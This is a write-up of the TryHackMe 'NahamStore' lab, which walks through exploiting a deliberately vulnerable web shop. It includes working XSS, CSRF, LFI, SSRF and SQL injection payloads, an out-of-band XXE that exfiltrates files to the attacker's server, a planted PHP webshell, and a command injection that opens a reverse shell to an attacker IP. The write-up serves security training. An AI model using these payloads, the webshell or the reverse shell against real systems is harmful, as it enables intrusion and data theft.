NahamStore - Write-up - TryHackMe

Information

Room#

  • Name: NahamStore
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: In this room you will learn the basics of bug bounty hunting and web application hacking

NahamStore

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S ffuf nmap sqlmap

Task 3 - Recon#

I used nmmapper subdomain finder to find sub-domains.

I found 5 unique sub-domains this way:

This gives me the following /etc/hosts content:

1
10.10.132.254 nahamstore.thm stock.nahamstore.thm marketing.nahamstore.thm shop.nahamstore.thm nahamstore-2020.nahamstore.thm www.nahamstore.thm

Virtual host enumeration:

1
2
3
4
5
6
$ ffuf -u http://nahamstore.thm -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -H 'Host: FUZZ.nahamstore.thm' -fw 125
...
shop [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 28ms]
www [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 26ms]
marketing [Status: 200, Size: 2025, Words: 692, Lines: 42, Duration: 28ms]
stock [Status: 200, Size: 67, Words: 1, Lines: 1, Duration: 27ms]

That's all we have for now and it doesn't allow us to answer this task so let's move to another one.

After completing the RCE section and reading the host file we can go forward.

1
2
3
4
5
$ ffuf -u 'http://nahamstore-2020-dev.nahamstore.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
...
api [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 23ms]
$ ffuf -u 'http://nahamstore-2020-dev.nahamstore.thm/api/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
customers [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]

When we hit http://nahamstore-2020-dev.nahamstore.thm/api/customers/, there is an error message: "customer_id is required" so we know the parameter to provide.

1
2
3
4
5
6
7
8
$ curl http://nahamstore-2020-dev.nahamstore.thm/api/customers/?customer_id=1 -s | jq
{
"id": 1,
"name": "Rita Miles",
"email": "rita.miles969@gmail.com",
"tel": "816-719-7115",
"ssn": "366-24-2649"
}

Enumerating over customer id we can find Jimmy Jones SSN.

Task 4 - XSS#

Reflected XSS#

There are at least to way to discover the XSS endpoint.

The first is by fuzzing folder on the marketing sub-domain but is only requiring luck because the redirection that will trigger the error works only when the endpoint is a valid non-existing id (32 hexadecimal chars) so you need a list including such things, and as it is useless in most case a pro pentester will most likely not use such a list. The list directory-list-2.3-medium.txt is included in SecLists and also used by old tools like dirbuster. I prefer to use raft-medium-words-lowercase.txt or raft-medium-directories-lowercase.txt in real life.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ffuf -u http://marketing.nahamstore.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
...
$ ffuf -u http://marketing.nahamstore.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic
...
6e6055bd53afb9b6e4394d76e35838c9 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
cfa5301358b9fcbe7aa45b1ceea088c6 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
f05221fb72cfbc1b85256abe00683bc4 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
cdd9dc973c4bf6bc852564ca006418a0 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 27ms]
64356135653039353435383166306330 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
c097c40d3f9a53ff5c7ddfc2f7f1c05c [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 34ms]
64356135653039353435613034323230 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
64356135653039353435613034616530 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 26ms]
64356135653039353435613033613530 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 24ms]
...
$ ffuf -u http://marketing.nahamstore.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic
...
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
| URL | http://marketing.nahamstore.thm/6e6055bd53afb9b6e4394d76e35838c9
| --> | /?error=Campaign+Not+Found
* FUZZ: 6e6055bd53afb9b6e4394d76e35838c9
...

The second way, which is more probable, is to manually switch one character of an existing marketing campaign id.

1
2
-http://marketing.nahamstore.thm/8d1952ba2b3c6dcd76236f090ab8642c
+http://marketing.nahamstore.thm/8d1952ba2b3c6dcd76236f090ab8642a

Both methods will redirect you to the pain page with an error parameter.

1
http://marketing.nahamstore.thm/?error=Campaign+Not+Found

Instead of the legit error message we can use an XSS payload:

1
2
<script>alert(document.domain.concat("\n").concat(window.origin))</script>
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>

Stored XSS#

On the order summary page, information from the user-agent is displayed

Putting an XSS payload here works.

HTML tag escape#

When we click on the image of a product on the main store page, the name of the product is controllable in a GET parameter.

http://nahamstore.thm/product?id=1&name=Hoodie+%2B+Tee

This parameter is not controlling the title in <h1> but is injected in <title> (name displayed on the browser tab).

We just have to close the title tag to make it execute.

1
http://nahamstore.thm/product?id=1&name=%3C/title%3E%3Cscript%3Ealert(document.domain.concat(%22\n%22).concat(window.origin))%3C/script%3E

JS variable escape#

On http://nahamstore.thm/search page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var search = '';
$.get('/search-products?q=' + search,function(resp){
if( resp.length == 0 ){

$('.product-list').html('<div class="text-center" style="margin:10px">No matching products found</div>');

}else {
$.each(resp, function (a, b) {
$('.product-list').append('<div class="col-md-4">' +
'<div class="product_holder" style="border:1px solid #ececec;padding: 15px;margin-bottom:15px">' +
'<div class="image text-center"><a href="/product?id=' + b.id + '"><img class="img-thumbnail" src="/product/picture/?file=' + b.img + '.jpg"></a></div>' +
'<div class="text-center" style="font-size:20px"><strong><a href="/product?id=' + b.id + '">' + b.name + '</a></strong></div>' +
'<div class="text-center"><strong>$' + b.cost + '</strong></div>' +
'<div class="text-center" style="margin-top:10px"><a href="/product?id=' + b.id + '" class="btn btn-success">View</a></div>' +
'</div>' +
'</div>');
});
}

A GET request is made to /search-products?q=. We can either escape the variable here or query the other endpoint directly.

1
2
3
4
5
# Escape
http://nahamstore.thm/search?q=%27%2Balert(document.domain.concat(%22\n%22).concat(window.origin))%2B%27

# No escape needed on the raw endpoint
http://nahamstore.thm/search-product?q=%3Cscript%3Ealert(document.domain.concat(%22\n%22).concat(window.origin))%3C/script%3E

Note: if your want to concat using + you need to URL encode it (%2B) since + is an URL character that means a space it will be interpreted. We can't use concat() here because we can't close the last parenthesis and it will result in invalid JS.

Hidden param#

There is a search embedded on the home page form as we saw earlier:

1
2
3
4
5
6
7
8
<form method="get" action="/search">
<div class="col-xs-9">
<input class="form-control" name="q" placeholder="Search For Products" value="">
</div>
<div class="col-cd-3" class="text-center">
<button type="submit" class="btn btn-default"><span class="glyphicon glyphicon-search"></span></button>
</div>
</form>

HTML tag escape#

Only the return_info parameter of the return form is reflected:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<form method="post" enctype="multipart/form-data">
<div><label>Order Number:</label></div>
<div><input name="order_number" class="form-control"></div>
<div style="margin-top:7px"><label>Return Reason:</label></div>
<div>
<select class="form-control" name="return_reason">
<option value="0">Please Choose...</option>
<option value="1">Wrong Size</option>
<option value="2">Damaged Goods</option>
<option value="3">No Longer Required</option>
</select>
</div>
<div style="margin-top:7px"><label>Return Information:</label></div>
<div><textarea name="return_info" class="form-control"></textarea></div>
<div style="margin-top:7px"><input type="submit" class="btn btn-success pull-right" value="Create Return"></div>
</form>

Payload:

1
</textarea><script>alert(document.domain.concat("\n").concat(window.origin))</script>

Nonexisting endpoint#

When you hit a nonexisting endpoint (eg. http://nahamstore.thm/noraj) an error page reflects the path entered.

1
2
3
4
<div class="container" style="margin-top:120px">
<h1 class="text-center">Page Not Found</h1>
<p class="text-center">Sorry, we couldn't find /noraj anywhere</p>
</div>

Payload:

1
http://nahamstore.thm/%3Cscript%3Ealert(document.domain.concat(%22/n%22).concat(window.origin))%3C/script%3E

Hidden param#

On a product page (eg. http://nahamstore.thm/product?id=1&added=1), you can enter a discount code. The name of the POST parameter is discount:

1
<div style="margin-bottom:10px"><input placeholder="Discount Code" class="form-control" name="discount" value=""></div>

But if you use discount as a GET param instead, it is reflected on the input field (eg. http://nahamstore.thm/product?id=1&added=1&discount=noraj).

We have to escape the attribute, and then include our XSS payload into an event handler, non-interactive payload:

1
<input placeholder="Discount Code" class="form-control" name="discount" value="" autofocus="" onfocus="alert(document.domain.concat("\n").concat(window.origin))" a="">

Payload URL:

1
http://nahamstore.thm/product?id=1&added=1&discount=%22%20autofocus%20onfocus=alert(document.domain.concat(%22\n%22).concat(window.origin))%20a=%22

Note: it is also possible to find the get param with ffuf fuzzing.

Task 5 - Open Redirect#

Open Redirect One#

I got this one by fuzzing:

1
2
3
4
$ ffuf -u 'http://nahamstore.thm/?FUZZ=https://pwn.by/noraj' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fs 4254
...
r [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 88ms]
q [Status: 200, Size: 4274, Words: 985, Lines: 83, Duration: 145ms]

Payload:

http://nahamstore.thm?r=https://pwn.by/noraj

Open Redirect Two#

When you try to access an authenticated-only page, you are redirected to the login page and a redirection parameter is added to keep a trace of where you came from (eg. http://nahamstore.thm/login?redirect_url=/account/settings).

You can put an URL in redirect_url param (eg. http://nahamstore.thm/login?redirect_url=https://pwn.by/noraj) and when logging in we are redirected to the URL.

Task 6 - CSRF#

No protection#

The password change page doesn't have any CSRF protection.

CSRF PoC:

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="http://nahamstore.thm/account/settings/password">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Tag removal bypass#

On the email change page there is a CSRF protection (hidden input field with an anti-CSRF token).

1
2
3
4
5
6
7
<form method="post">
<input type="hidden" name="csrf_protect" value="eyJkYXRhIjoiZXlKMWMyVnlYMmxrSWpvMExDSjBhVzFsYzNSaGJYQWlPaUl4TmpNeE1EUXdNREkySW4wPSIsInNpZ25hdHVyZSI6IjQyZWY1OWJlNTM2YTcxOTU5ZDQ0OGJmODc1N2Q1NDZhIn0=">
<div><label>Email:</label></div>
<div><input class="form-control" name="change_email" value="noraj@noraj.fr" ></div>
<div style="margin-top:7px">
<input type="submit" class="btn btn-success pull-right" value="Change Email"></div>
</form>

Providing a wrong value will fail but removing the parameter will bypass the protection.

Weak protection#

On the account disable page there is a very weak CSRF protection, also using a hidden input field but the value is just the user id base64 encoded instead of being a random string.

1
2
3
4
5
6
7
8
<form method="post">
<input type="hidden" name="action" value="disable">
<input type="hidden" name="csrf_disable_protect" value="NA==">
<p></p>
<div style="margin-top:7px">
<p>Please only click the below button if you are 100% sure you wish to disable your account. All your data will be lost.</p>
<input type="submit" class="btn btn-danger pull-right" value="Disable Account"></div>
</form>
1
2
$ printf %s 'NA==' | base64 -d
4

Task 7 - IDOR#

Leak addresses#

To exploit the first IDOR, you need to:

  1. place an order
  2. go to the basket
  3. select your address

This will send a POST request with the id of your address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Host: nahamstore.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://nahamstore.thm/basket
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Origin: http://nahamstore.thm
Connection: keep-alive
Cookie: session=8147bb4dd9865d738f81a7c33b3a5e0b; token=b6e5b7c772627db8abb8628a1fa22f4c
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

address_id=5

By replaying teh request with other ID you will be able to quickly find an address in New York.

Leak order details#

To exploit the second IDOR, you need to:

  1. place and complete an order
  2. go to the order page and select it
  3. click on the PDF Receipt button

Let's look at the form here:

1
2
3
4
5
<form method="post" action="/pdf-generator" target="_blank">
<input type="hidden" name="what" value="order">
<input type="hidden" name="id" value="4">
<input type="submit" class="btn btn-success" value="PDF Receipt">
</form>

The POST request to http://nahamstore.thm/pdf-generator looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Host: nahamstore.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://nahamstore.thm
Connection: keep-alive
Referer: http://nahamstore.thm/account/orders/4
Cookie: session=8147bb4dd9865d738f81a7c33b3a5e0b; token=b6e5b7c772627db8abb8628a1fa22f4c
Upgrade-Insecure-Requests: 1

what=order&id=4

But if I change the ID to 3 I have the following error message:

Order does not belong to this user_id

But adding the user_id simply doesn't work, it's ignored.

1
what=order&id=3&user_id=3

The idea was to URL encode it & sign so that 3&user_id=3 becomes teh value of id.

1
what=order&id=3%26user_id=3

Task 8 - Local File Inclusion#

To load product image a request to http://nahamstore.thm/product/picture/?file=cbf45788a7c3ff5c2fab3cbe740595d4.jpg is made.

Classic path traversal doesn't work, you have to double the payload to escape a probable filter on the ../ payload.

http://nahamstore.thm/product/picture/?file=....//....//....//....//....//....//lfi/flag.txt

Task 9 - SSRF#

There is a Check stock button on the product page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Host: nahamstore.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 40
Origin: http://nahamstore.thm
Connection: keep-alive
Referer: http://nahamstore.thm/product?id=2
Cookie: session=080da6b6e0c775c7d781585e64504c7d

product_id=2&server=stock.nahamstore.thm

The server parameter value seems to be a domain name.

But if we put another value, we have an error about the bad server name so we must keep stock.nahamstore.thm and still find a way to bypass it.

With server=stock.nahamstore.thm@127.0.0.1 we have a 404 for page /product/2. Hopefully, adding # looks like to behave like we commented the appended path, because with server=stock.nahamstore.thm@127.0.0.1# we are hitting the home page.

Let's try to discover an internal sub-domain:

1
$ ffuf -u 'http://nahamstore.thm/stockcheck' -c -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -X POST -d 'product_id=2&server=stock.nahamstore.thm@FUZZ.nahamstore.thm#'

We found one internal-api.nahamstore.thm:

payload:

server=stock.nahamstore.thm@internal-api.nahamstore.thm#

answer:

1
{"server":"internal-api.nahamstore.com","endpoints":["\/orders"]}

We have an endpoint:

payload:

1
server=stock.nahamstore.thm@internal-api.nahamstore.thm/orders#

answer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[
{
"id": "4dbc51716426d49f524e10d4437a5f5a",
"endpoint": "\/orders\/4dbc51716426d49f524e10d4437a5f5a"
},
{
"id": "5ae19241b4b55a360e677fdd9084c21c",
"endpoint": "\/orders\/5ae19241b4b55a360e677fdd9084c21c"
},
{
"id": "70ac2193c8049fcea7101884fd4ef58e",
"endpoint": "\/orders\/70ac2193c8049fcea7101884fd4ef58e"
}
]

Let's try every order:

payload:

1
server=stock.nahamstore.thm@internal-api.nahamstore.thm/orders/5ae19241b4b55a360e677fdd9084c21c#

answer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"id": "5ae19241b4b55a360e677fdd9084c21c",
"customer": {
"id": 2,
"name": "Jimmy Jones",
"email": "jd.jones1997@yahoo.com",
"tel": "501-392-5473",
"address": {
"line_1": "3999 Clay Lick Road",
"city": "Englewood",
"state": "Colorado",
"zipcode": "80112"
},
"items": [
{
"name": "Hoodie + Tee",
"cost": "25.00"
}
],
"payment": {
"type": "MasterCard",
"number": "edited",
"expires": "11\/2023",
"CVV2": "223"
}
}
}

Task 10 - XXE#

Inbound XXE#

We can query a product of the stock.

1
2
$ curl http://stock.nahamstore.thm/product/1
{"id":1,"name":"Hoodie + Tee","stock":56}

But is we switch from GET method to POST method we have an error about a HTTP header missing:

1
2
$ curl -X POST http://stock.nahamstore.thm/product/1
["Missing header X-Token"]

Let's try to add it.

1
2
$ curl -X POST 'http://stock.nahamstore.thm/product/1' -H 'X-Token: xxx'
["X-Token xxx is invalid"]

Of course the provided token is invalid.

It's time to abandon curl and fire Burp, it will be easier to play with the POST body.

By fuzzing GET param (even if it's a POST request), we encounter an error with a XML body when we add xml GET param:

Request:

1
2
3
4
5
6
7
8
9
10
11
12
POST /product/1?xml HTTP/1.1
Host: stock.nahamstore.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
X-Token: xxx

Answer:

1
2
3
4
5
6
7
8
9
HTTP/1.1 400 Bad Request
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 17 Oct 2021 13:41:24 GMT
Content-Type: application/xml; charset=utf-8
Connection: close
Content-Length: 71

<?xml version="1.0"?>
<data><error>Invalid XML supplied</error></data>

Fine let's try a XML body then and change the content type.

Request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /product/1?xml HTTP/1.1
Host: stock.nahamstore.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/xml; charset=utf-8
Content-Length: 36
X-Token: xxx

<?xml version="1.0"?>
<data></data>

Answer:

1
2
3
4
5
6
7
8
9
HTTP/1.1 400 Bad Request
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 17 Oct 2021 13:44:31 GMT
Content-Type: application/xml; charset=utf-8
Connection: close
Content-Length: 71

<?xml version="1.0"?>
<data><error>X-Token not supplied</error></data>

The error suggest we did not provide X-Token even if we have the HTTP header present. It means in XML mode the HTTP header is ignored and must be expecting a XML value.

Request:

1
2
3
4
5
<?xml version="1.0"?>
<data><X-Token>
noraj
</X-Token>
</data>

Answer:

1
2
3
4
<?xml version="1.0"?>
<data><error>X-Token
noraj
is invalid</error></data>

Since the value we provided is reflected, the first thing that come to mind is to perform an XXE attack.

We can confirm it with this payload, that returns exactly the same answer as previously.

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE replace [<!ENTITY xxe "noraj"> ]>
<data><X-Token>
&xxe;
</X-Token>
</data>

We can perform a local file disclosure via the XXE:

Request:

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE data [ <!ELEMENT data ANY> <!ENTITY xxe SYSTEM "/etc/passwd" >]>
<data><X-Token>
&xxe;
</X-Token>
</data>

Answer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0"?>
<data><error>X-Token
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin

is invalid</error></data>

We just have to request /flag.txt now.

OOB XXE#

There is a page that let us upload xlsx files: http://nahamstore.thm/staff

But what is an XLSX? Just a zip with XML files inside. So if value are extracted from it there is a chance for XXE.

We can consult PayloadsAllTheThings for OOB & XLSX payloads (OOB because the values are not reflected).

First I created a spreadsheet file with LibreOffice Calc (xxe.xlsx).

Let's extract the ZIP:

1
$ 7z x -oXXE xxe.xlsx

I added my OOB XXE payload inside xl/workbook.xml.

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://10.9.19.77:8000/xxe.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
...

Let's rebuild the spreadsheet:

1
2
$ cd XXE
$ 7z u ../xxe.xlsx *

Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Instead we build the document once and then change the DTD. And using FTP instead of HTTP allows to retrieve much larger files.

xxe.dtd

1
2
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://10.9.19.77:2121/%d;'>">

Start the FTP + HTTP server:

1
$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000

Then we just have to files.log be we can see it is empty.

So in the DTD file I change the payload from file:///etc/passwd to php://filter/convert.base64-encode/resource=/flag.txt to bypass the restriction.

This time the content was retrieved:

1
2
3
4
5
6
7
8
9
10
$ cat files.log
USER: anonymous
PASS: anonymous
//e2Q2YjIyY2<EDITED>hmfQo=
SIZE
MDTM
USER: anonymous
PASS: anonymous
SIZE
PASV

Decode it:

1
2
$ printf %s 'e2Q2YjIyY2<EDITED>hmfQo=' | base64 -d
{d6<EDITED>8f}

Task 11 - RCE#

PHP webshell#

By enumerating we quickly find an admin path:

1
2
3
$ ffuf -u 'http://nahamstore.thm:8000/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
...
admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 29ms]

We can login at http://nahamstore.thm:8000/admin/login with admin / admin.

The admin panel allows to modify the templates of the page displayed at http://marketing.nahamstore.thm/

I replaced the description paragraph with a simple webshell:

1
2
3
4
5
6
7
8
9
10
11
<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}

?>

Then it's easy to execute a command: http://marketing.nahamstore.thm/09c2afcff60bb4dd3af7c5c5d74a482f?cmd=id

Blind RCE#

We already found an IDOR in the user_id param of the PDF generator function (PDF Receipt) but there is also a RCE in the id one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /pdf-generator HTTP/1.1
Host: nahamstore.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://nahamstore.thm
Connection: close
Referer: http://nahamstore.thm/account/orders/4
Cookie: session=f69a6bbf9707cd343f5c785bf3e1babf; token=3ae63d82407f185b85eafe959865f6cf
Upgrade-Insecure-Requests: 1

what=order&id=4$(php+-r+'$sock%3dfsockopen("10.9.19.77",9999)%3b$proc%3dproc_open("/bin/bash",+array(0%3d>$sock,+1%3d>$sock,+2%3d>$sock),$pipes)%3b')

From here we can read /etc/hosts and find some useful domains for the recon section.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
127.0.0.1       localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.4 2431fe29a4b0
127.0.0.1 nahamstore.thm
127.0.0.1 www.nahamstore.thm
172.17.0.1 stock.nahamstore.thm
172.17.0.1 marketing.nahamstore.thm
172.17.0.1 shop.nahamstore.thm
172.17.0.1 nahamstore-2020.nahamstore.thm
172.17.0.1 nahamstore-2020-dev.nahamstore.thm
10.131.104.72 internal-api.nahamstore.thm

Task 12 - SQLi#

In-band SQLi#

This one is one of the easiest to identify: an error-based SQLi in the id parameter.

http://nahamstore.thm/product?id='

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 1

It's quite easy to enumerate the number of columns manually and the course material gives the table to look at.

1
id=0 UNION SELECT 1,flag,3,4,5 from sqli_one-- -

Inferential SQLi#

The second one is pretty hard to identify. It happens in the return request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /returns HTTP/1.1
Host: nahamstore.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------196738110536624442341531028487
Content-Length: 422
Origin: http://nahamstore.thm
Connection: close
Referer: http://nahamstore.thm/returns
Cookie: session=f69a6bbf9707cd343f5c785bf3e1babf; token=3ae63d82407f185b85eafe959865f6cf
Upgrade-Insecure-Requests: 1

-----------------------------196738110536624442341531028487
Content-Disposition: form-data; name="order_number"

4
-----------------------------196738110536624442341531028487
Content-Disposition: form-data; name="return_reason"

1
-----------------------------196738110536624442341531028487
Content-Disposition: form-data; name="return_info"

aze
-----------------------------196738110536624442341531028487--

The easiest way to exploit it will be to save the request to a file and pass it to sqlmap.

1
$ sqlmap -r $(pwd)/req.txt --level 5 --risk 3 --batch --threads 10 -D nahamstore -T sqli_two -C flag --dump
Share